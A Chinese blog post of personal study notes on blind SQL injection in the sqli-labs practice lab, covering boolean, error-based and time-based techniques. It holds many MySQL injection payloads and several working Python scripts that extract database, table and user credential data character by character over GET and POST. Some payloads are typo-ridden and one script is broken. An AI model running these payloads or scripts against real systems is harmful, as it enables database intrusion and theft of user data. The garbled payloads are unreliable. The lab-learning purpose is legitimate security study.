Contents
  1. 1. 前言
  2. 2. 盲注
    1. 2.1. 布尔型盲注
    2. 2.2. 报错注入
    3. 2.3. 延时(Time)注入

前言

在做sqlilabs时,了解到的东西,写一下,把学到的总结一下,以后方便看


盲注

盲注是指在SQL注入的过程中,执行选择的语句不会正确回显到前段页面,需要我们利用一些方法判断或尝试,这个过程称为盲注。

盲注又分为了以下三种:
1.布尔型盲注:根据页面返回的真假来判断的即为布尔型盲注
2.时间型盲注:根据页面返回的时间来判断的即为时间型盲注
3.报错型盲注:根据页面返回的对错来判断的即为报错型盲注

可以看一下这篇文章
https://www.freebuf.com/articles/web/30841.html

这道题输入**?id=1’**,报错
k36XJx.png

输入**?id=1’–+,返回you are in…**,

以sqlilabs的Less-5为例。


下面是转的,我一个同学写的原文链接

布尔型盲注

1、利用 left() 函数得到数据库名

left()函数

left(database(),1)>’s’ //left()函数

left(a,b) 从左截取a的前b位

此时想得到信息可以尝试?id=1' and left(version(),1)=5--+ 如果版本号第一个数字是5则会返回You are in,如果错误的话则不能正确的返回You are in,比如?id=1' and left(version(),1)=6--+,则无法正确回显。继续进行下去可以盲注出更多信息?id=1’ and left(version(),4)=concat(‘5.7.’)–+ 。
看一下数据库名的长度?id=1' and length(database())=8--+,可以正确回显,说明数据库名长度就是8,接下来爆数据库名?id=1' and left(database(),1)>'a'--+,这个数据库第一个字母是s,显然成立,具体不知道时可以用二分法,接下来爆第二位?id=1' and left(database(),2)>'sa'--+ 可以一步步爆出所有字段。

2、利用 substr() , ascii() 函数得到表名

substr()函数

ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101–+

substr(a,b,c) 从b位置开始,截取字符串a的c长度,

ascii()函数

ascii(substr((select database()),1,1))=98

ascii() 将单个字符转换为ascii码值

前面已经得到数据库名为security ,接下里爆表:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+ ,当然,这里的 database() 也可以换成 security ,作用是相同的。一步步改变 substr()即可爆出第一个表为 emails。改变 limit() 参数即可爆出所有表。此处也可以不用 ascii() 函数,?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,2)='ea'同样可以实现要求。

limit

limit是mysql的语法
select * from table limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录。
n是指从第m+1条开始,取n条。
select * from tablename limit 2,4
即取出第3条至第6条,4条记录
注入时一般只能返回一条记录,否者会报Subquery returns more than 1 row,所以可以改变m,但n的话保持是1即可.

3、利用 regexp() 函数得到列名

regexp正则注入

select user() regexp ‘^[a-z]’;,这样会匹配user为root,如果正确返回1,那么… regexp ‘^ro’ 则可以匹配第二位。

接下来爆users表的列名,?id=1' and 1=(select 1 from information_schema.columns where table_name=’user’ and column_name regexp ‘username’ limit 0,1)--+,改变 regexp() 参数即可继续爆出其他列名。

4、利用 ord() 和 mid() 函数得到user表中的内容

ord()函数

ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>98%23

mid(a,b,c) 从位置b开始,截取a字符串的c位
ord() 函数与ascii函数相同。

ord() 和 ascii() 作用相同, mid() 和 substr() 作用相同,爆表内容:?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+,当然,还有一个简化一点的?id=1' and binary mid((select username from security.users order by id limit 0,1),1,3)='Dum'—+ 这个更简单一点。这样就可以得到表中的所有内容了。binary 关键字可以在比较时区分大小写。

经过这四步就可以得到整个表的信息了。

bool盲注脚本$_GET
具体可查看原文链接,讲解的非常详细,非常适合我这种新手。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import sys
import requests

def getPayload(result_index, char_index, ascii):
# 系统表中数据
info_database_name = "information_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name

# 注入表中数据
database_name = "security"
table_name = "users"
column_name = ["id","username","password"]

# 附加url
start_str = "1' and "
end_str = "--+"

# 连接select
where_str = ""
#where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select "+info_column_name+" from "+info_database_name+"."+info_table_name+where_str+" limit "+str(result_index)+",1"
#select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"

# 连接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = start_str + sqli_str + end_str
return payload

def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost:8088/sqlilabs/Less-8/?id="
exec_url = url + getPayload(result_index, char_index, ascii)
#print(exec_url)
# 检查回显
echo = "You are in"
content = requests.get(exec_url).text
if echo in content:
return True
else:
return False

def dichotomy(result_index, char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(result_index), str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right-1:
if execute(str(result_index), str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)

if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = dichotomy(num, len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()

我同学写的一个

0verwatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests


url = "http://192.168.100.102/sqlilabs/Less-5/?id=1%27 and ascii(substr((select database()),{_},1))={__} %23"
#注意一下这里使用=去作为判断条件
#url = "http://127.0.0.1/sqlilabs/Less-5/?id=1%27 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{_},1))={__} %23"


database = ''

for i in range(1,50):
for j in range(65,127):
payload = url.format(_ = i,__ = j)
#print payload
ans = requests.get(payload)
#print ans.content
if 'You are in...........' in ans.content:
# database = database + chr(j)
# print database
table_name += chr(j)
print table_name
break

bool盲注脚本$_POST

原文链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import sys      
import requests

def getPayload(result_index, char_index, ascii):
# 系统表中数据
info_database_name = "information_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name

# 注入表中数据
database_name = "security"
table_name = "users"
column_name = ["id","username","password"]

# 连接select
where_str = ""
#where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select "+info_column_name+" from "+info_database_name+"."+info_table_name+where_str+" limit "+str(result_index)+",1"
#select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"

# 连接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = {"uname":"1", "passwd":"1' or "+sqli_str+"-- "}
return payload

def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost:8088/sqlilabs/Less-11/"
payload = getPayload(result_index, char_index, ascii)
#print(payload)
# 检查回显
echo = "Your Login name"
content = requests.post(url, data=payload).text
if echo in content:
return True
else:
return False

def dichotomy(result_index, char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(result_index), str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right-1:
if execute(str(result_index), str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)

if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = dichotomy(num, len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()

报错注入

函数介绍

concat()计数报错

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

需要注意三个点,一是需要concat()计数,二是floor,取得0 or1 ,进行数据的重复,三是group by进行分组,此处会报错好像是因为MySQL的一个bug,rand() 有时候需要多试几次。
如果关键的表被禁用的话,可以使用下面的方法

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

exp()

select exp(~(select * from (select user())a)) //double数值类型超出范围
exp()函数为以e为底的对数函数,版本在5.5.5及其之上,本例利用了exp报错

~0

select !(select * from (select user())x) - 0
bigint类型超出范围,
0 是对0按位取反。

xpath

extractvalue(1,concat(0x7a,(select @@version),0x7e)) //MySQL对XML数据进行修改的xpath函数,xpath语法错误。

updatexml

updatexml(1,concat(0x7e,(select @@version),0x7e),1) //与第4个相同原理

重复特性

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql重复特性,此处重复了version,所以报错。

这里借用现成的payload
?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23
把version()替换成其他,就可以得到其他的信息

报错盲注语句

chaosec.top

1、通过floor报错,注入语句如下:

1
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:

1
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:

1
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:

1
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:

1
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:

1
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:

1
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

1
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

1
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

1
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

1
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

1
and linestring (()select * from(select user() )a)b );

updatexml完整注入

1爆库.and updatexml(1,concat(0x7e,database(),0x7e),1)#

2爆表.and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

3爆列.and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’user’),0x7e),1)#

4爆内容.and updatexml(1,concat(0x7e,(select username from users),0x7e),1)#


延时(Time)注入

1、利用 sleep() 函数进行注入
?id=1' and if(ascii(substr(database(),1,1))=116,1,sleep(5))--+
if(x,1,sleep(5)) x处语句正确,直接返回结果,错误,延时返回
2、利用 benchmark() 进行延时注入
?id=1'union select (if(substring(current,1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),null)),2,3 from (select database() as current) as tb1--+
如果正确的话就会函数就会执行一段时间才返回

延时注入脚本$_GET
原文链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import sys
import time
import requests

def getPayload(result_index, char_index, ascii):
# 系统表中数据
info_database_name = "information_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name

# 注入表中数据
database_name = "security"
table_name = "users"
column_name = ["id","username","password"]

# 附加url
start_str = "1' and "
end_str = "--+"

# 连接select
where_str = ""
#where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select "+info_column_name+" from "+info_database_name+"."+info_table_name+where_str+" limit "+str(result_index)+",1"
#select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"

# 连接payload
sqli_str = "if(ascii(mid(("+select_str+"),"+str(char_index)+",1))="+str(ascii)+",sleep(0.2),0)"
payload = start_str + sqli_str + end_str
return payload

def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost:8088/sqlilabs/Less-9/?id="
exec_url = url + getPayload(result_index, char_index, ascii)
#print(exec_url)
# 检查延时
before_time = time.time()
requests.head(exec_url) # 节约时间
after_time = time.time()
use_time = after_time - before_time
if use_time > 0.1:
return True
else:
return False

def exhaustive(result_index, char_index):
# ascii可显字符从32到126共95个 按可能性顺序
ascii_list = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~']
for ascii_char in ascii_list:
ascii = ord(ascii_char)
if execute(str(result_index), str(char_index+1), str(ascii)):
return ascii_char
return chr(1)

if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = exhaustive(num, len)
if ord(char) == 1: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()

延时注入脚本$_POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import sys
import time
import requests

def getPayload(result_index, char_index, ascii):
# 系统表中数据
info_database_name = "information_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name

# 注入表中数据
database_name = "security"
table_name = "users"
column_name = ["id","username","password"]

# 连接select
where_str = ""
#where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select "+info_column_name+" from "+info_database_name+"."+info_table_name+where_str+" limit "+str(result_index)+",1"
#select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"

# 连接payload
sqli_str = "if(ascii(mid(("+select_str+"),"+str(char_index)+",1))="+str(ascii)+",sleep(0.2),0)"
payload = {"uname":"1", "passwd":"1' or "+sqli_str+"-- "}
return payload

def execute(result_index, char_index, ascii):
# 连接url
url = "http://localhost:8088/sqlilabs/Less-15/"
payload = getPayload(result_index, char_index, ascii)
#print(payload)
# 检查延时
before_time = time.time()
requests.post(url, data=payload)
after_time = time.time()
use_time = after_time - before_time
if use_time > 0.1:
return True
else:
return False

def exhaustive(result_index, char_index):
# ascii可显字符从32到126共95个 按可能性顺序
ascii_list = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~']
for ascii_char in ascii_list:
ascii = ord(ascii_char)
if execute(str(result_index), str(char_index+1), str(ascii)):
return ascii_char
return chr(1)

if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = exhaustive(num, len)
if ord(char) == 1: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()
Contents
  1. 1. 前言
  2. 2. 盲注
    1. 2.1. 布尔型盲注
    2. 2.2. 报错注入
    3. 2.3. 延时(Time)注入